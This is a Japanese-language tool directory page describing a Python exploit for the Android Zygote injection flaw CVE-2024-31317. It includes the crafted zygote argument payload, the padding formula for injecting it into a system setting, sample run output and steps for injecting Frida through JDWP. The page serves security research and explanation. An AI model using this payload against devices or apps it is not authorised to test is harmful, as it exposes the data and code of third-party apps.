Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 デバッグ可能なアプリのエクスプロイト | Kitploit
ツール/GitHubGitHub/cleov2/debuggable-app-exploit
Androidセキュリティ脆弱性分析エクスプロイトファジングモバイルセキュリティ学習と教育ペイロード開発バイナリエクスプロイト
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 デバッグ可能なアプリのエクスプロイト

リポジトリを見る
1235ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-31317 Debuggable App Exploit

A Python-based exploit for CVE-2024-31317 (Android Zygote Injection) が、hidden_api_blacklist_exemptions 設定を通じて悪意のある zygote 引数を注入することで、インストール済みの Android アプリをデバッグ可能にします。オプションで Frida gadget の注入によるランタイムフッキングもサポートしています。

概要

このエクスプロイトは、Android の Zygote プロセスにおけるコマンドインジェクションの脆弱性を利用して、ターゲットアプリケーションを debuggable フラグを有効にして起動します。これにより、root アクセスやアプリのデバッグバージョンを必要とせずに、JDWP デバッグと任意のアプリの検査が可能になります。

研究元: Flanker 氏による CVE-2024-31317 の分析

重要な洞察: "ZygoteArguments の runtime-flags フィールドは、実際にアプリケーションの debuggable 属性を有効にするために使用できる。"

特徴

  • 自動検出モード - ターゲットアプリの UID、命令セット、データディレクトリを自動検出
  • Debuggable フラグ注入 - runtime-flags=65535 を設定してデバッグを有効化
  • JDWP 転送 - エクスプロイト後に JDWP ポート転送を自動設定
  • Frida gadget 注入 - 必要に応じて Frida を注入し、JDWP 経由でランタイムフッキングを実行
  • スマートブレークポイント - ユーザーの操作なしで自動的にトリガーされる信頼性の高いブレークポイントを使用
  • デバッグアプリの自動インストール - ヘルパーアプリが存在しない場合に自動インストール

必要条件

  • CVE-2024-31317 の影響を受ける Android デバイス(2024年6月以前のセキュリティパッチ)
  • ADB がインストールされ、USB デバッグが有効であること
  • Python 3.10 以上
  • 必要なパッケージ: ppadb, jdwplib

インストール

以下のファイルを同じディレクトリに配置してください:

root@kitploit:~
├── CVE-2024-31317-Debuggable.py    # メインエクスプロイトスクリプト
├── jdwplib.py                       # JDWP クライアントライブラリ
├── app-debug.apk                    # デバッグ可能なヘルパーアプリ
├── frida-gadget-android-*.so        # Frida gadget(オプション)
├── frida-gadget.config.so           # Frida 設定(オプション)
└── win32/adb.exe                    # Windows 用 ADB バイナリ

使い方

基本的な使い方

root@kitploit:~
python CVE-2024-31317-Debuggable.py

スクリプトはパラメータ検出モードの選択を促します:

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]:

何をするか

  1. フェーズ 1: startSeq の抽出

    • デバッグ可能なヘルパーアプリを起動
    • JDWP 経由で接続し、スタックフレームから startSeq 値を抽出
    • ヘルパーアプリを終了
  2. フェーズ 2: Zygote 引数の注入

    • runtime-flags=65535(デバッグ可能)を含む悪意のある zygote 引数を構築
    • ペイロードを hidden_api_blacklist_exemptions 設定に注入
    • ターゲットアプリを強制停止し、注入された引数で再起動
  3. フェーズ 3: エクスプロイト後処理

    • JDWP ポート転送を設定
    • オプションで Frida gadget を注入してランタイムフッキングを実行

出力例

root@kitploit:~
==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Auto-detect parameters
[2] Hardcoded values

Mode (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

設定

ターゲットアプリ

スクリプト上部の定数を編集します:

root@kitploit:~
TARGET_APP = "com.debug.configurator"  # ターゲットパッケージに変更
DEBUG_APP = "com.debug.app"            # ヘルパーデバッグアプリ
DEBUG_APK = "app-debug.apk"            # ヘルパーアプリの APK ファイル

自動検出とハードコードの比較

自動検出モード(推奨):

  • pm list packages -U を使用して UID を取得
  • dumpsys package を使用して命令セットとデータディレクトリを取得
  • 異なるデバイス間での信頼性が高い

ハードコードモード:

  • デフォルト値(UID=10242、arm64 など)を使用
  • 高速だが、デバイスがデフォルトと異なる場合は信頼性が低い

Frida Gadget 注入

エクスプロイト成功後、オプションで Frida gadget を注入できます:

root@kitploit:~
Inject Frida? (y/N): y

スクリプトは以下を行います:

  1. frida-gadget.so を /data/local/tmp/ にプッシュ
  2. run-as を使用してアプリのデータディレクトリにコピー
  3. JDWP 経由でブレークポイントを設定し、ガジェットをロード
  4. ポート 27042 と 27043 を転送

ブレークポイントの対象

スクリプトは信頼性順に以下のブレークポイントを試行します:

上位のブレークポイントは自動的にトリガーされるはずです。タイムアウトした場合は、アプリをタップしてフォールバックブレークポイントをトリガーしてください。

Frida への接続

注入成功後:

root@kitploit:~
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget

# List processes
frida-ps -H 127.0.0.1:27042

エクスプロイト後

エクスプロイトが成功すると、ターゲットアプリはデバッグが有効な状態で実行されます:

  1. JDWP デバッガで接続:

    root@kitploit:~
    jdb -attach localhost:8701
    
  2. Android Studio デバッガを使用 - 転送されたポート上のプロセスにアタッチ

  3. Frida を使用 - スクリプトで gadget が注入された場合

仕組み

脆弱性の概要

CVE-2024-31317 は、Android の Zygote プロセスにおけるコマンドインジェクションの脆弱性です。特別に細工された入力を hidden_api_blacklist_exemptions システム設定に書き込むことで、アプリ起動時に任意の zygote 引数を注入できます。

主要コンポーネント

  1. startSeq の抽出: アプリの起動ごとに固有のシーケンス番号があります。これは、JDWP 経由でデバッグ可能なアプリのスタックフレーム変数を検査することで抽出します。

  2. ペイロードの構築: 以下の zygote 引数を含むペイロードを構築します:

    root@kitploit:~
    --runtime-args
    --setuid=<target_uid>
    --setgid=<target_gid>
    --runtime-flags=65535      # すべてのデバッグフラグを有効化
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<package>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<data_dir>
    --package-name=<package>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. 注入: 次のような特定のパディングを使用して、システム設定にペイロードを注入します(Android 12 以上向け):

    root@kitploit:~
    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. トリガー: ターゲットアプリを強制停止して再起動すると、注入された引数と debuggable フラグが有効になった状態で起動します。

JDWP 経由の Frida 注入

Frida 注入の仕組み:

  1. JDWP 経由でデバッグ可能なアプリに接続
  2. 一般的に呼び出されるメソッドにブレークポイントを設定
  3. ブレークポイントがヒットしたら、Runtime.load() を使用して Frida gadget の共有ライブラリをロード
  4. ガジェットが初期化され、ポート 27042 で待機を開始

制限事項

  • CVE-2024-31317 の影響を受けるデバイス(2024年6月以前のセキュリティパッチ)でのみ動作
  • root エクスプロイトではない - ターゲットアプリへのデバッグアクセスのみ提供
  • Frida 注入はアプリが実行中でブレークポイントがヒットする必要がある
  • 高度に難読化されたアプリは Frida フッキングに抵抗する可能性がある

トラブルシューティング

"Failed to get startSeq"

  • デバッグアプリが適切に署名され、インストール可能であることを確認
  • エクスプロイトを再実行してみてください

Frida 注入中に "No breakpoint hit"

  • アプリをタップしてタッチ/描画ブレークポイントをトリガー
  • アプリがフォアグラウンドにあることを確認

Frida 接続が拒否される

  • ポート転送を確認: adb forward --list
  • ポート転送を再実行: adb forward tcp:27042 tcp:27042

クレジット

  • Flanker (flanker017) - CVE-2024-31317 に関する独自の研究と詳細な記事
  • typlo - JDWP 検査による startSeq 検出のコードスニペット
  • Anonymous941 - Zygote インジェクションツールキットの参考実装
  • Meta X Red Team - 脆弱性の元の発見と開示

参考文献

  • CVE-2024-31317 詳細分析 - Flanker
  • Meta セキュリティアドバイザリ
  • InfoSec Writeup
  • Anonymous941 の Zygote インジェクションツールキット
  • Frida ドキュメンテーション

免責事項

このツールは教育および許可されたセキュリティ研究目的のみに使用してください。あなたが所有するデバイス、またはテストする明示的な書面による許可があるデバイスでのみ使用してください。許可なくコンピュータシステムにアクセスすることは違法かつ非倫理的です。著者はこのツールの誤用について一切の責任を負いません。

ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。

ツールをダウンロード
ClassMethodTrigger
android.os.MessageQueuenextAuto - main looper polls constantly
android.os.BinderexecTransactAuto - any IPC/binder call
android.app.ActivityThreadhandleMessageAuto - app's main handler
android.os.HandlerdispatchMessageAuto - message dispatch
android.os.HandlerhandleMessageAuto - message handling
android.view.ChoreographerdoFrameAuto - frame callbacks
android.view.ViewdispatchTouchEventManual - requires touch
android.view.ViewonDrawManual - requires UI redraw